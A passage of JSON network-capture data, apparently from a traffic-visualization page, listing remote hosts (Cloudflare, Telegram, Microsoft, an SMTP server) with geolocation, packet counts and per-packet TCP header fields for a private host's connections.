{\"num\": 102, \"time\": 1777400578.362806, \"size\": 369, \"direction\": \"received\"}, {\"num\": 103, \"time\": 1777400578.362821, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 106, \"time\": 1777400578.830605, \"size\": 54, \"direction\": \"received\"}, {\"num\": 107, \"time\": 1777400578.830692, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 108, \"time\": 1777400578.830814, \"size\": 54, \"direction\": \"received\"}, {\"num\": 112, \"time\": 1777400579.502199, \"size\": 66, \"direction\": \"received\"}, {\"num\": 113, \"time\": 1777400579.502254, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 114, \"time\": 1777400579.502339, \"size\": 54, \"direction\": \"received\"}, {\"num\": 115, \"time\": 1777400579.502822, \"size\": 369, \"direction\": \"received\"}, {\"num\": 116, \"time\": 1777400579.502841, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 119, \"time\": 1777400580.152957, \"size\": 54, \"direction\": \"received\"}, {\"num\": 120, \"time\": 1777400580.153054, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 121, \"time\": 1777400580.153205, \"size\": 54, \"direction\": \"received\"}, {\"num\": 125, \"time\": 1777400580.736982, \"size\": 66, \"direction\": \"received\"}, {\"num\": 126, \"time\": 1777400580.737054, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 127, \"time\": 1777400580.737157, \"size\": 54, \"direction\": \"received\"}, {\"num\": 128, \"time\": 1777400580.737805, \"size\": 369, \"direction\": \"received\"}, {\"num\": 129, \"time\": 1777400580.73783, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 132, \"time\": 1777400581.131759, \"size\": 54, \"direction\": \"received\"}, {\"num\": 133, \"time\": 1777400581.131848, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 134, \"time\": 1777400581.131973, \"size\": 54, \"direction\": \"received\"}, {\"num\": 138, \"time\": 1777400581.853166, \"size\": 66, \"direction\": \"received\"}, {\"num\": 139, \"time\": 1777400581.853245, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 140, \"time\": 1777400581.853402, \"size\": 54, \"direction\": \"received\"}, {\"num\": 141, \"time\": 1777400581.854101, \"size\": 369, \"direction\": \"received\"}, {\"num\": 142, \"time\": 1777400581.854123, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 145, \"time\": 1777400582.263233, \"size\": 54, \"direction\": \"received\"}, {\"num\": 146, \"time\": 1777400582.263412, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 147, \"time\": 1777400582.263481, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Unknown\", \"city\": \"Unknown\", \"lat\": 0.0, \"lon\": 0.0, \"asn\": 13335, \"isp\": \"Cloudflare, Inc.\", \"network\": \"188.114.96.0/22\"}, \"duration\": 11.713823795318604, \"avg_packet_size\": 129.62025316455697, \"packets_per_second\": 6.7441683757930635}, {\"id\": \"149.154.166.110\", \"ip\": \"149.154.166.110\", \"packet_count\": 18, \"total_bytes_sent\": 5517, \"total_bytes_received\": 1150, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\"], \"ports_used\": [443], \"first_seen\": 1777400584.708655, \"last_seen\": 1777400685.90138, \"packets\": [{\"num\": 148, \"time\": 1777400584.708655, \"size\": 66, \"direction\": \"received\"}, {\"num\": 149, \"time\": 1777400584.708715, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 150, \"time\": 1777400584.708829, \"size\": 54, \"direction\": \"received\"}, {\"num\": 151, \"time\": 1777400584.709588, \"size\": 232, \"direction\": \"received\"}, {\"num\": 152, \"time\": 1777400584.709613, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 153, \"time\": 1777400585.124668, \"size\": 3470, \"direction\": \"sent\"}, {\"num\": 154, \"time\": 1777400585.124903, \"size\": 54, \"direction\": \"received\"}, {\"num\": 155, \"time\": 1777400585.30433, \"size\": 950, \"direction\": \"sent\"}, {\"num\": 156, \"time\": 1777400585.324448, \"size\": 147, \"direction\": \"received\"}, {\"num\": 157, \"time\": 1777400585.32451, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 158, \"time\": 1777400585.685178, \"size\": 328, \"direction\": \"sent\"}, {\"num\": 159, \"time\": 1777400585.694893, \"size\": 435, \"direction\": \"received\"}, {\"num\": 160, \"time\": 1777400585.69494, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 161, \"time\": 1777400585.888191, \"size\": 487, \"direction\": \"sent\"}, {\"num\": 162, \"time\": 1777400585.978378, \"size\": 54, \"direction\": \"received\"}, {\"num\": 217, \"time\": 1777400685.901105, \"size\": 54, \"direction\": \"received\"}, {\"num\": 218, \"time\": 1777400685.901261, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 219, \"time\": 1777400685.90138, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"United Kingdom\", \"city\": \"London\", \"lat\": 51.5081, \"lon\": -0.1278, \"asn\": 62041, \"isp\": \"Telegram Messenger Inc\", \"network\": \"149.154.166.0/24\"}, \"duration\": 101.19272494316101, \"avg_packet_size\": 370.3888888888889, \"packets_per_second\": 0.17787839995523816}, {\"id\": \"13.107.42.254\", \"ip\": \"13.107.42.254\", \"packet_count\": 7, \"total_bytes_sent\": 0, \"total_bytes_received\": 378, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"ports_used\": [443], \"first_seen\": 1777400588.044914, \"last_seen\": 1777400607.879449, \"packets\": [{\"num\": 163, \"time\": 1777400588.044914, \"size\": 54, \"direction\": \"received\"}, {\"num\": 173, \"time\": 1777400588.481693, \"size\": 54, \"direction\": \"received\"}, {\"num\": 179, \"time\": 1777400589.182699, \"size\": 54, \"direction\": \"received\"}, {\"num\": 185, \"time\": 1777400590.583021, \"size\": 54, \"direction\": \"received\"}, {\"num\": 191, \"time\": 1777400593.083893, \"size\": 54, \"direction\": \"received\"}, {\"num\": 200, \"time\": 1777400598.081676, \"size\": 54, \"direction\": \"received\"}, {\"num\": 209, \"time\": 1777400607.879449, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"United States\", \"city\": \"Unknown\", \"lat\": 37.751, \"lon\": -97.822, \"asn\": 8068, \"isp\": \"Microsoft Corporation\", \"network\": \"13.107.42.0/24\"}, \"duration\": 19.834534883499146, \"avg_packet_size\": 54.0, \"packets_per_second\": 0.3529197957560113}, {\"id\": \"131.253.33.254\", \"ip\": \"131.253.33.254\", \"packet_count\": 7, \"total_bytes_sent\": 0, \"total_bytes_received\": 378, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"ports_used\": [443], \"first_seen\": 1777400588.045094, \"last_seen\": 1777400607.571525, \"packets\": [{\"num\": 164, \"time\": 1777400588.045094, \"size\": 54, \"direction\": \"received\"}, {\"num\": 169, \"time\": 1777400588.372311, \"size\": 54, \"direction\": \"received\"}, {\"num\": 175, \"time\": 1777400589.075432, \"size\": 54, \"direction\": \"received\"}, {\"num\": 181, \"time\": 1777400590.473677, \"size\": 54, \"direction\": \"received\"}, {\"num\": 187, \"time\": 1777400592.97399, \"size\": 54, \"direction\": \"received\"}, {\"num\": 196, \"time\": 1777400597.862912, \"size\": 54, \"direction\": \"received\"}, {\"num\": 205, \"time\": 1777400607.571525, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"United States\", \"city\": \"Unknown\", \"lat\": 37.751, \"lon\": -97.822, \"asn\": 8068, \"isp\": \"Microsoft Corporation\", \"network\": \"131.253.33.224/27\"}, \"duration\": 19.5264310836792, \"avg_packet_size\": 54.0, \"packets_per_second\": 0.35848844932297014}, {\"id\": \"13.107.3.254\", \"ip\": \"13.107.3.254\", \"packet_count\": 7, \"total_bytes_sent\": 0, \"total_bytes_received\": 378, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"ports_used\": [443], \"first_seen\": 1777400588.050531, \"last_seen\": 1777400607.879573, \"packets\": [{\"num\": 165, \"time\": 1777400588.050531, \"size\": 54, \"direction\": \"received\"}, {\"num\": 174, \"time\": 1777400588.481859, \"size\": 54, \"direction\": \"received\"}, {\"num\": 180, \"time\": 1777400589.182842, \"size\": 54, \"direction\": \"received\"}, {\"num\": 186, \"time\": 1777400590.583099, \"size\": 54, \"direction\": \"received\"}, {\"num\": 192, \"time\": 1777400593.083985, \"size\": 54, \"direction\": \"received\"}, {\"num\": 201, \"time\": 1777400598.081815, \"size\": 54, \"direction\": \"received\"}, {\"num\": 210, \"time\": 1777400607.879573, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"United States\", \"city\": \"Unknown\", \"lat\": 37.751, \"lon\": -97.822, \"asn\": 8068, \"isp\": \"Microsoft Corporation\", \"network\": \"13.107.0.0/22\"}, \"duration\": 19.829042196273804, \"avg_packet_size\": 54.0, \"packets_per_second\": 0.35301755529651413}, {\"id\": \"150.171.28.12\", \"ip\": \"150.171.28.12\", \"packet_count\": 7, \"total_bytes_sent\": 0, \"total_bytes_received\": 378, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"ports_used\": [443], \"first_seen\": 1777400588.052597, \"last_seen\": 1777400607.571638, \"packets\": [{\"num\": 166, \"time\": 1777400588.052597, \"size\": 54, \"direction\": \"received\"}, {\"num\": 170, \"time\": 1777400588.372445, \"size\": 54, \"direction\": \"received\"}, {\"num\": 176, \"time\": 1777400589.075568, \"size\": 54, \"direction\": \"received\"}, {\"num\": 182, \"time\": 1777400590.473772, \"size\": 54, \"direction\": \"received\"}, {\"num\": 188, \"time\": 1777400592.974096, \"size\": 54, \"direction\": \"received\"}, {\"num\": 197, \"time\": 1777400597.863021, \"size\": 54, \"direction\": \"received\"}, {\"num\": 206, \"time\": 1777400607.571638, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"United States\", \"city\": \"Unknown\", \"lat\": 37.751, \"lon\": -97.822, \"asn\": 8075, \"isp\": \"Microsoft Corporation\", \"network\": \"150.171.0.0/19\"}, \"duration\": 19.519041061401367, \"avg_packet_size\": 54.0, \"packets_per_second\": 0.3586241751313492}, {\"id\": \"204.79.197.222\", \"ip\": \"204.79.197.222\", \"packet_count\": 7, \"total_bytes_sent\": 0, \"total_bytes_received\": 378, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"ports_used\": [443], \"first_seen\": 1777400588.052694, \"last_seen\": 1777400607.571665, \"packets\": [{\"num\": 167, \"time\": 1777400588.052694, \"size\": 54, \"direction\": \"received\"}, {\"num\": 171, \"time\": 1777400588.372465, \"size\": 54, \"direction\": \"received\"}, {\"num\": 177, \"time\": 1777400589.075588, \"size\": 54, \"direction\": \"received\"}, {\"num\": 183, \"time\": 1777400590.473793, \"size\": 54, \"direction\": \"received\"}, {\"num\": 189, \"time\": 1777400592.974116, \"size\": 54, \"direction\": \"received\"}, {\"num\": 198, \"time\": 1777400597.863041, \"size\": 54, \"direction\": \"received\"}, {\"num\": 207, \"time\": 1777400607.571665, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"United States\", \"city\": \"Unknown\", \"lat\": 37.751, \"lon\": -97.822, \"asn\": 8068, \"isp\": \"Microsoft Corporation\", \"network\": \"204.79.196.0/23\"}, \"duration\": 19.51897096633911, \"avg_packet_size\": 54.0, \"packets_per_second\": 0.3586254629955468}, {\"id\": \"23.48.245.217\", \"ip\": \"23.48.245.217\", \"packet_count\": 7, \"total_bytes_sent\": 0, \"total_bytes_received\": 378, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"ports_used\": [443], \"first_seen\": 1777400588.061058, \"last_seen\": 1777400607.571693, \"packets\": [{\"num\": 168, \"time\": 1777400588.061058, \"size\": 54, \"direction\": \"received\"}, {\"num\": 172, \"time\": 1777400588.372483, \"size\": 54, \"direction\": \"received\"}, {\"num\": 178, \"time\": 1777400589.075606, \"size\": 54, \"direction\": \"received\"}, {\"num\": 184, \"time\": 1777400590.473811, \"size\": 54, \"direction\": \"received\"}, {\"num\": 190, \"time\": 1777400592.974133, \"size\": 54, \"direction\": \"received\"}, {\"num\": 199, \"time\": 1777400597.863058, \"size\": 54, \"direction\": \"received\"}, {\"num\": 208, \"time\": 1777400607.571693, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"India\", \"city\": \"New Delhi\", \"lat\": 28.6327, \"lon\": 77.2198, \"asn\": 9498, \"isp\": \"BHARTI Airtel Ltd.\", \"network\": \"23.48.245.0/24\"}, \"duration\": 19.510634899139404, \"avg_packet_size\": 54.0, \"packets_per_second\": 0.35877868845307354}, {\"id\": \"162.251.85.202\", \"ip\": \"162.251.85.202\", \"packet_count\": 8, \"total_bytes_sent\": 335, \"total_bytes_received\": 228, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"ports_used\": [587], \"first_seen\": 1777400594.012671, \"last_seen\": 1777400607.980698, \"packets\": [{\"num\": 193, \"time\": 1777400594.012671, \"size\": 66, \"direction\": \"received\"}, {\"num\": 194, \"time\": 1777400594.01273, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 195, \"time\": 1777400594.012854, \"size\": 54, \"direction\": \"received\"}, {\"num\": 202, \"time\": 1777400605.368126, \"size\": 161, \"direction\": \"sent\"}, {\"num\": 203, \"time\": 1777400605.368166, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 204, \"time\": 1777400605.368539, \"size\": 54, \"direction\": \"received\"}, {\"num\": 211, \"time\": 1777400607.980655, \"size\": 54, \"direction\": \"received\"}, {\"num\": 212, \"time\": 1777400607.980698, \"size\": 54, \"direction\": \"sent\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"United States\", \"city\": \"Unknown\", \"lat\": 37.751, \"lon\": -97.822, \"asn\": 46606, \"isp\": \"Unified Layer\", \"network\": \"162.251.84.0/23\"}, \"duration\": 13.968027114868164, \"avg_packet_size\": 70.375, \"packets_per_second\": 0.5727365743358601}];\n        const edges = [{\"source\": \"192.168.122.168\", \"target\": \"4.213.25.240\", \"packet_count\": 18, \"total_bytes\": 3748, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [49899, 49892], \"dst_ports\": [443], \"first_packet\": 1777400503.554304, \"last_packet\": 1777400527.281885, \"packets\": [{\"packet_number\": 0, \"timestamp\": 1777400503.554304, \"timestamp_iso\": \"2026-04-28T23:51:43.554304\", \"timestamp_human\": \"2026-04-28 23:51:43.554\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46845, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 1, \"timestamp\": 1777400503.855678, \"timestamp_iso\": \"2026-04-28T23:51:43.855678\", \"timestamp_human\": \"2026-04-28 23:51:43.855\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46846, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 2, \"timestamp\": 1777400504.465033, \"timestamp_iso\": \"2026-04-28T23:51:44.465033\", \"timestamp_human\": \"2026-04-28 23:51:44.465\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46847, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 3, \"timestamp\": 1777400505.66826, \"timestamp_iso\": \"2026-04-28T23:51:45.668260\", \"timestamp_human\": \"2026-04-28 23:51:45.668\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46848, \"ip_len\": 139, \"ip_flags\": {\"DF\": false, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 4, \"timestamp\": 1777400505.895441, \"timestamp_iso\": \"2026-04-28T23:51:45.895441\", \"timestamp_human\": \"2026-04-28 23:51:45.895\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46849, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 5, \"timestamp\": 1777400506.199361, \"timestamp_iso\": \"2026-04-28T23:51:46.199361\", \"timestamp_human\": \"2026-04-28 23:51:46.199\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46850, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 6, \"timestamp\": 1777400506.80872, \"timestamp_iso\": \"2026-04-28T23:51:46.808720\", \"timestamp_human\": \"2026-04-28 23:51:46.808\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46851, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 7, \"timestamp\": 1777400506.871203, \"timestamp_iso\": \"2026-04-28T23:51:46.871203\", \"timestamp_human\": \"2026-04-28 23:51:46.871\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46852, \"ip_len\": 139, \"ip_flags\": {\"DF\": false, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 8, \"timestamp\": 1777400508.018008, \"timestamp_iso\": \"2026-04-28T23:51:48.018008\", \"timestamp_human\": \"2026-04-28 23:51:48.018\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46853, \"ip_len\": 288, \"ip_flags\": {\"DF\": false, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 9, \"timestamp\": 1777400508.081837, \"timestamp_iso\": \"2026-04-28T23:51:48.081837\", \"timestamp_human\": \"2026-04-28 23:51:48.081\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46854, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 10, \"timestamp\": 1777400509.230467, \"timestamp_iso\": \"2026-04-28T23:51:49.230467\", \"timestamp_human\": \"2026-04-28 23:51:49.230\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46855, \"ip_len\": 288, \"ip_flags\": {\"DF\": false, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 11, \"timestamp\": 1777400510.433575, \"timestamp_iso\": \"2026-04-28T23:51:50.433575\", \"timestamp_human\": \"2026-04-28 23:51:50.433\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46856, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 12, \"timestamp\": 1777400510.496041, \"timestamp_iso\": \"2026-04-28T23:51:50.496041\", \"timestamp_human\": \"2026-04-28 23:51:50.496\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46857, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 13, \"timestamp\": 1777400512.840695, \"timestamp_iso\": \"2026-04-28T23:51:52.840695\", \"timestamp_human\": \"2026-04-28 23:51:52.840\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46858, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 14, \"timestamp\": 1777400515.401634, \"timestamp_iso\": \"2026-04-28T23:51:55.401634\", \"timestamp_human\": \"2026-04-28 23:51:55.401\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46859, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 15, \"timestamp\": 1777400517.64396, \"timestamp_iso\": \"2026-04-28T23:51:57.643960\", \"timestamp_human\": \"2026-04-28 23:51:57.643\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46860, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 16, \"timestamp\": 1777400525.073843, \"timestamp_iso\": \"2026-04-28T23:52:05.073843\", \"timestamp_human\": \"2026-04-28 23:52:05.073\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46861, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783903, \"tcp_ack\": 1692602478, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}, {\"packet_number\": 17, \"timestamp\": 1777400527.281885, \"timestamp_iso\": \"2026-04-28T23:52:07.281885\", \"timestamp_human\": \"2026-04-28 23:52:07.281\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": 